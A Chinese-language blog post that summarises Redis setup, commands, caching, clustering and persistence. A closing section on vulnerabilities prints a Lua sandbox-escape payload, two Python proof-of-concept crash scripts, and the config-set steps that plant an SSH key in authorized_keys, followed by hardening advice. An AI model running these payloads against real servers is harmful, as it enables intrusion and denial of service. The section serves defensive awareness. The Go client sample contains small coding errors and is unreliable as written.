Redis基础总结

1、Redis服务搭建(windows版)

Redis下载地址:https://github.com/tporadowski/redis/releases

图形化客户端下载地址:https://github.com/lework/RedisDesktopManager-Windows/releases

运行:在安装目录下打开命令行窗口

redis-server.exe  redis.windows.conf

测试:再打开一个命令行窗口,输入以下内容,同时使用RESP工具查看

redis-cli.exe -h 127.0.0.1 -p 6379
set mykey abc
get mykey

在这里插入图片描述

集群搭建参考:https://blog.csdn.net/weixin_49406295/article/details/126383966?spm=1001.2014.3001.5502



2、Redis常用命令

2.1 数据操作命令

  • key相关命令

    get key             # 获取键值
    set key value       # 设置键值
    set group:key value # 设置带层级的键值对
    del key             # 删除键值
    type key            # 获取值的类型
    
    keys *              # 查看所有key
    rename key newkey   # 修改key名称
    move key 2          # 将key移动到db2数据库
    
    TTL key             # 查看key过期时间,单位秒 s
    PTTL key            # 查看key过期时间,单位毫秒 ms
    EXPIRE key 60       # 设置key过期时间,单位秒 s
    PEXPIRE key 1500    # 设置key过期时间,单位毫秒 ms
    PERSIST key         # 移除key的过期时间,key将持久保持。
    
  • hash类型:如下图所示value是一个无序字典,所以访问hash类型中的value要指定key和field
    在这里插入图片描述

    HSET key field value  # 添加或修改hash类型key的field的值
    HGET key field        # 获取hash类型key的field的值
    
    HMSET key f1 v1 f2 v2 # 批量更行,后面可以跟多个field value对
    HMGET key f1 f2       # 批量获取,后面可以跟多个field
    HGETALL key           # 获取hash类型的key中所有field和value
    HKEYS key             # 获取hash类型的key中所有field
    
    HSETNX                # 添加hash类型的key的field值,前提是field不存在,否则不执行
    
  • List类型:双向链表,可以反向检索,常用来存储有序数据

    LPUSH key v1 v2      # 向左测插入一个或多个元素,value可以有多个,用空格隔开
    RPUSH key v1 v2      # 向列表右侧插入一个或多个元素
    LPOP key             # 移除列表最左侧第一个元素
    RPOP key             # 移除列表最右侧第一个元素
    LRANGE key star end  # 返回star到end范围内的元素
    
  • Set类型:可以看作一个value为null的hash表

    SADD key v1 v2        # 添加一个或多个元素
    SREM key v1 v2        # 移除一个或多个元素
    SCARD key             # 获取set中元素个数
    SISMEMBER key value   # 判断一个元素是否在key中
    SMEMBERS key          # 获取set中所有元素
    

2.2 Redis服务命令

 BGSAVE                          # 后台备份数据到磁盘
 CONFIG get requirepass          # 查看是否设置密码
 CONFIG set requirepass "jiang"  # 设置登录密码
 AUTH jiang                      # 设置密码后

2.3 Redis性能测试

redis-benchmark -n 10000  -q  # Linux命令,同时执行10000个请求来检测Redis性能

# 主机为127.0.0.1,端口号为6379,执行的命令为 set,lpush,请求数为 10000,通过 -q 参数让结果只显示每秒执行的请求数。
redis-benchmark -h 127.0.0.1 -p 6379 -t set,lpush -n 10000 -q 

redis 性能测试工具可选参数如下所示:

序号选项描述默认值
1-h指定服务器主机名127.0.0.1
2-p指定服务器端口6379
3-s指定服务器 socket
4-c指定并发连接数50
5-n指定请求数10000
6-d以字节的形式指定 SET/GET 值的数据大小2
7-k1=keep alive 0=reconnect1
8-rSET/GET/INCR 使用随机 key, SADD 使用随机值
9-P通过管道传输 请求1
10-q强制退出 redis。仅显示 query/sec 值
11–csv以 CSV 格式输出
12*-l*(L 的小写字母)生成循环,永久执行测试
13-t仅运行以逗号分隔的测试命令列表。
14*-I*(i 的大写字母)Idle 模式。仅打开 N 个 idle 连接并等待。



3、分布式锁

3.1 分布式锁实现

分布式锁的核心是多进程之间互斥,满足这一点的常见方式有三种
在这里插入图片描述

MySQL:在执行事务的时候自动分配一个互斥锁,可以利用该原理实现分布式锁:可以在业务执行前申请一个互斥锁,业务执行完后提交事务,锁就会释放;如果服务挂了链接自动断开会自动释放锁保证安全性。

Redis:利用setnx命令往数据库设置一个键值对,因为只有数据库不存在该key时,才会设置成功从而实现互斥(多线程同时执行setnx,只有一个线程能成功,相当于拿到了锁然后执行业务)。释放锁原理:可以删除key实现。服务宕机,链接断开不会删除key,所以为了避免死锁,setnx必须设置超时时间。

Zookeeper:利用节点唯一性和有序实现互斥(多线程同时创建节点,指定序号最小的拿到锁);删除节点实现释放锁;链接断开时自动删除节点从而避免死锁

3.2 Redis分布式锁演示

分析:setnx和设置过期时间对应两条命令,可能存在只执行一条成功后服务宕机风险,所以建议使用set加过期时间再加NX或PX参数,例如:SET lock thread1 EX 10 NX 过期时间10秒且互斥,或者SET lock thread1 PX 10 NX过期时间10ms
在这里插入图片描述

Redis锁误删问题

如下图所示,线程1获取锁成功执行业务发生阻塞,锁超时自动释放,线程2获取锁成功,此时线程1业务执行完成执行释放锁,但是线程2业务还没执行完成锁就被线程1强制释放了。
在这里插入图片描述
要想解决上述问题,每个线程在获取锁时设置的值要加上线程id,释放锁判断一下线程id,不是自己的线程就不能释放锁。



4、Redis缓存问题

4.1 缓存更新策略

内存淘汰超时剔除主动更新
说明利用Redis内存淘汰机制,当内存不足时自动淘汰部分数据,下次查询时更新缓存给缓存添加TTL时间,到期后自动删除缓存,下次查询时更新缓存。编写业务逻辑,在修改数据库同时更新缓存
优缺点不用自己维护,但数据一致性差,不知道哪些会被删除维护陈本低,数据一致性一般数据一致性好,但需要写业务代码逻辑

其中主动更新又有三种策略:

1、调用者在更新数据库时,同时更新缓存(推荐)
2、单独开发一个服务维护缓存和数据库一致性,调用者调用该服务提供的接口即可,不需要关心一致性问题
3、调用者值操作缓存,由其他线程异步将缓存持久化到数据库中

主动更新一般推荐使用先更新数据库,然后删除缓存。(也有小概率发生数据不一致问题,如key失效后查数据库,刚好查完之后更新了数据库,同时写缓存慢于删缓存)

4.2 缓存穿透

指客户端请求的数据在Redis和MySQL都不存在,这样缓存永远不生效,每次查询都失败,而且每次请求都打到数据库。(一般这是一种异常场景,客户端胡编乱造了一个字段来查询数据)
在这里插入图片描述

解决办法:
1)缓存空对象:缓存中没有就回去存储层获取,此时即使数据库返回的空对象也将其缓存起来,同时会设置一个过期时间,之后再访问这个数据将会从缓存中获取
2)布隆过滤器:当用户想要查询的时候,使用布隆过滤器发现不在集合中,就直接丢弃,不再对持久层查询。

4.3 缓存雪崩

在这里插入图片描述

4.4 缓存击穿

缓存击穿也叫热点key问题,就是一个被高并发访问并且缓存重建业务比较复杂的key突然失效了,无数请求访问会直接打到数据库,给数据库带来巨大的冲击。解决方案一般时通过互斥锁或逻辑过期

互斥锁:多个线程竞争锁,只有一个线程去查询数据库然后写缓存,其他线程睡眠并重试。(可以保证数据一致性,但线程等待性能受影响,有死锁风险)
逻辑过期:设置key永不过期,但在value字段里添加过期时间,如果过期了就去竞争锁,获取锁成功后开启新线程更新缓存,自己则直接返回过期数据;其他线程则获取锁失败,直接返回过期数据。(不能保证一致性,但无需线程等待,性能好)
在这里插入图片描述



5、Redis集群

  • 总结:主从集群使用读写分离解决高并发读的问题,哨兵集群解决了master高可用问题,分片集群则用来解决高并发写的和海量数据存储问题

5.1 主从集群

主从集群用于解决高并发读的问题。在Redis集群中选取一个节点作为master节点,其他节点作为slave节点。主节点负责写操作,从节点负责读操作(写操作会报错),同时主节点主动发送最新数据到所有从节点,从而实现主从同步。主从同步策略分为全量同步和增量同步:

  • 全量同步:
    slave节点请求增量同步
    master节点判断replid,发现不一致,拒绝增量同步
    master将完整内存数据生成RDB,发送RDB到slave
    slave清空本地数据,加载master的RDB
    master将RDB期间的命令记录在repl_baklog,并持续将log中的命令发送给slave
    slave执行接收到的命令,保持与master之间的同步

  • 增量同步:
    slave节点断开又恢复,并且在repl_baklog能找到offset时(找不到代表未同步的数据已经被覆盖,只能执行全量同步),

主从集群性能优化
在这里插入图片描述

5.2 哨兵集群

主从模式从节点可以实现容灾,但如果master节点宕机就无法恢复了,就需要哨兵集群保障高可用。

Redis提供哨兵(Sentinel)机制,在主从集群基础上实现故障恢复。Sentinel会不断监控master和slave是否按预期工作,如果master故障,Sentinel会选取一个slave提升为master,当故障示例恢复则以新的master为主。

  • 哨兵集群搭建:

    在每一个Redis安装目录下都又一个redis-sentinel可执行文件,只需要添加配置文件,指定ip和端口等信息

    执行redis-sentinel sentinel.conf命令即可

  • 检测机制

    Sentinel基于心跳机制,每个1秒向集群每个示例发送ping:
    主观下线:如果某个sentinel节点发现master规定时间未响应,则认为主观下线
    客观下线:若指定数量的sentinel认为master主观下线,则认为是客观下线。(数量最好设置未集群实例数的一半)

  • 故障转移步骤:
    首先选定一个slave作为master,执行slaveof no one
    然后让所有节点都执行slaveof 新master
    修改故障节点配置,添加slaveof 新master

5.3 分片集群

分片集群用于解决高并发写和海量数据存储问题。集群中有多个master,每个master保存不同数据;每个master可以有多个slave节点;master之间通过ping监控彼此状态;客户端请求可以访问集群中任意节点,最终都会被转发到正确节点。
在这里插入图片描述

Redis会把每个master节点映射到0~16383插槽(hash slot)上,每个key会计算CRC16再对16384取余结果就是slot值,这个值就和key绑定;而插槽和节点是动态绑定(故障时插槽随节点变迁,key随插槽变迁)
在这里插入图片描述



6、面试问题

6.1 Redis缓存与数据库数据一致性

不管是先写MySQL数据库,再删除Redis缓存;还是先删除缓存,再写库,都有可能出现数据不一致的情况。举一个例子:
1.如果删除了缓存Redis,还没有来得及写库MySQL,另一个线程就来读取,发现缓存为空,则去数据库中读取数据写入缓存,此时缓存中为脏数据。
2.如果先写了库,在删除缓存前,写库的线程宕机了,没有删除掉缓存,则也会出现数据不一致情况。
怎么保证缓存一致性?:读直接去缓存读,没有的话就读数据库,写直接写数据库,然后失效缓存中对应的数据

第一种方案:延时双删策略+缓存超时设置
在写库前后都进行redis.del(key)操作,并且设定合理的超时时间。具体的步骤就是:
1)先删除缓存;
2)再写数据库;
3)休眠一段时间;
4)再次删除缓存。
5)设置缓存过期时间,所有的写操作以数据库为准,只要到达缓存过期时间,则后面的读请求自然会从数据库中读取新值然后回填缓存。也就是看到写请求就执行上面的策略。

第二种方案:异步更新缓存(基于订阅binlog的同步机制)
MySQL binlog增量订阅消费+消息队列+增量数据更新到redis,一旦MySQL中产生了新的写入、更新、删除等操作,就可以把binlog相关的消息通过消息队列推送至Redis,Redis再根据binlog中的记录,对Redis进行更新。

6.2 redis的热key问题如何解决

概念:所谓热key问题就是,突然有几十万的请求去访问redis上的某个特定key。那么,这样会造成流量过于集中,达到物理网卡上限,从而导致这台redis的服务器宕机。那接下来这个key的请求,就会直接怼到你的数据库上,导致你的服务不可用。

怎么发现热key
方法一:凭借业务经验
方法二:在客户端进行收集,这个方式就是在操作redis之前,加入一行代码进行数据统计。
方法三:在Proxy层做收集 有些集群架构是下面这样的,Proxy可以是Twemproxy,是统一的入口。可以在Proxy层做收集上报,但是缺点很明显,并非所有的redis集群架构都有proxy。

在这里插入图片描述

方法四:用redis自带命令
(1)monitor命令,该命令可以实时抓取出redis服务器接收到的命令,然后写代码统计出热key。
(2)hotkeys参数,redis 4.0.3提供了redis-cli的热点key发现功能,执行redis-cli时加上–hotkeys选项即可。但是该参数在执行的时候,如果key比较多,执行起来比较慢。
方法五:自己抓包评估
Redis客户端使用TCP协议与服务端进行交互,通信协议采用的是RESP。自己写程序监听端口,按照RESP协议规则解析数据,进行分析。缺点就是开发成本高,维护困难,有丢包可能性。

三:如何解决
(1)利用二级缓存 比如利用ehcache,或者一个HashMap都可以。在你发现热key以后,把热key加载到系统的JVM中。针对这种热key请求,会直接从jvm中取,而不会走到redis层。
(2)备份热key 这个方案也很简单。不要让key走到同一台redis上不就行了。我们把这个key,在多个redis上都存一份不就好了。接下来,有热key请求进来的时候,我们就在有备份的redis上随机选取一台,进行访问取值,返回数据。



7、Redis原理相关

7.1 单线程为什么快

1、Redis是纯内存数据库,一般都是简单的存取操作,线程占用的时间很多,时间的花费主要集中在IO上,所以读取速度快。
2、Redis使用的是非阻塞IO、IO多路复用,使用了单线程来轮询描述符,将数据库的开、关、读、写都转换成了事件,减少了线程切换时上下文的切换和竞争。
3、Redis采用了单线程的模型,保证了每个操作的原子性,也减少了线程的上下文切换和竞争。
4、Redis避免了多线程的锁的消耗。
5、Redis采用自己实现的事件分离器,效率比较高,内部采用非阻塞的执行方式,吞吐能力比较大。

7.2 持久化

Redis持久化主要有RDB和AOF两种方式,RDB和AOF各有有点,实际开发往往会结合两者来使用,实现原理如下

RDB:(1) 执行save:阻塞将内存中的数据写入磁盘;(2) 执行bgsave:fork子进程并将页表拷贝,将内存设置为只读,子进程执行拷贝,主进程采用copy-on-write技术(写操作时拷贝一份数据执行写操作)保证业务。

AOF:处理的每一条命令都会记录到AOF文件,可以看作为日志文件(如果文件过大会合并一些操作命令)

RDBAOF
持久化方式定时对整个内存做快照记录每一次执行的命令
数据完整性不完整,两次备份之间会丢失数据相对完整,取决刷盘策略
文件大小会有压缩,体积小记录命令,体积很大
宕机恢复速度
数据恢复优先级低,因为数据完整新不如AOF高,数据完整性更高
系统资源占用高,大量CPU和内存消耗低,主要占用磁盘IO,但重写时会占用大量CPU和内存
使用场景可容忍数分钟数据丢失,追求更快启动对数据安全性要求较高



8、Redis客户端代码(go版本)

import (
    "context"
    "github.com/go-redis/redis/v8"
    "fmt"
)

var ctx = context.Background()

func ExampleClient() {
    rdb := redis.NewClient(&redis.Options{  // 连接redis
        Addr:     "localhost:6379",
        Password: "jiang", // 登录密码
        DB:       0,  // use default DB
    })
    
    pong, err := client.Ping(client.Context()).Result()
    fmt.Println(pong, err)  // ping redis

    err := rdb.Set(ctx, "key", "value", 0).Err()  // 插入键
    if err != nil {
        panic(err)
    }

    val, err := rdb.Get(ctx, "key").Result()  // 获取键
    if err == redis.Nil {
        fmt.Println("key does not exist")
    } else if err != nil {
        panic(err)
    } else {
        fmt.Println("key", val)
    }
}



9、Redis漏洞

9.1 沙盒逃逸漏洞

Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。(在原始的redis源码里,该功能通过条件宏的方式注释掉了,但是Debian的这个补丁却把这句话重新写进去了)

我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令。

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

修复建议:升级Redis版本,在 Lua 初始化的末尾添加package=nil

9.2 Lua子系统缓冲区错误漏洞

该漏洞是由于Redis Lua 子系统中存在 cmsgpack 库存在基于栈的缓冲区溢出,该漏洞源于程序没有执行正确的内存操作。远程攻击者可通过发送请求利用该漏洞造成拒绝服务或执行任意代码。本文以Centos 6.9 x64 + Redis3.2.10为例测试执行击溃Redis服务。
在这里插入图片描述

# 攻击代码示例redis_cmsgpack.py
import socket
import redis

def send_to_redis(server, port, data, timeout=2):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((server, port))
    try:
        s.send(data)
    except socket.timeout:
        return None
    s.close()

def main():
    val = '"%s"' % ('A'*500)
    script = "cmsgpack.pack("
    for x in range(164):
        script += "%s," % val
    script = script[:-1]
    script += ")"
    
    payload = "*3\r\n%4\r\nEVAL\r\n$%s\r\n$1\r\n0\r\n" % (len(script),script)
    send_to_redis('127.0.0.1', 6379, payload)

该漏洞影响版本:Redis 3.2.12之前版本、4.0.10之前的4.x版本和5.0 RC2之前的5.x版本。

9.3 Lua子系统数字错误漏洞

该漏洞由于Redis Lua子系统的struct库存在整数溢出漏洞。远程攻击者可通过发送请求利用该漏洞执行任意代码或造成拒绝服务。本文以Centos 6.9 + Redis 3.2.10 为例测试击溃Redis服务。
在这里插入图片描述

# 攻击代码示例redis_struct.py
import socket
import hashlib
import redis

def send_to_redis(server, port, data, timeout=2):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((server, port))
    try:
        s.send(data)
    except socket.timeout:
        return None
    s.close()

def main():
    payload = 'return struct.unpack(\'bc0\', \'\xff\')'
    h = hashlib.sha1()
    h.update(payload)
    key = h.hexdigest()
    r = redis.StrictRedis(host='127.0.0.1', port=6379)
    r.set(key, payload)
    payload = 'eval "return loadstring(redis.cal(\'get\', KEYS[1]))()" 1 %s\n' % key
    send_to_redis('127.0.0.1', 6379, payload)

该漏洞影响版本为:Redis 3.2.12之前版本、4.0.10之前的4.x版本和5.0 RC2之前的5.x版本。

9.4 Redis未授权访问

攻击原理:将公钥set到redis服务器,再将持久化文件改为/root/.ssh/authorized_keys(Linux免密登录公钥文件),再执行save存盘,黑客就可以免密登录Linux服务器了。

参考链接:https://cloud.tencent.com/developer/article/1039000

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit    # 将公钥保存在redis服务器
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/  # 将持久化文件目录设置为密钥目录
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"  # 持久化文件名改为已授权的密钥文件名
OK
$ 192.168.1.11:6379> save  # 执行备份,公钥也会保存在磁盘,这样就可以免密登录服务器了
OK

9.5 Redis安全部署建议

Redis一定要设置密码
禁止线上使用:keys、flushall、flushdb、config set等命令(用rename-command禁用)
bind配置项不要写0.0.0.0,禁止外网访问,并开启防火墙
不要使用root账户启动Redis
尽量不要使用Redis默认端口

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值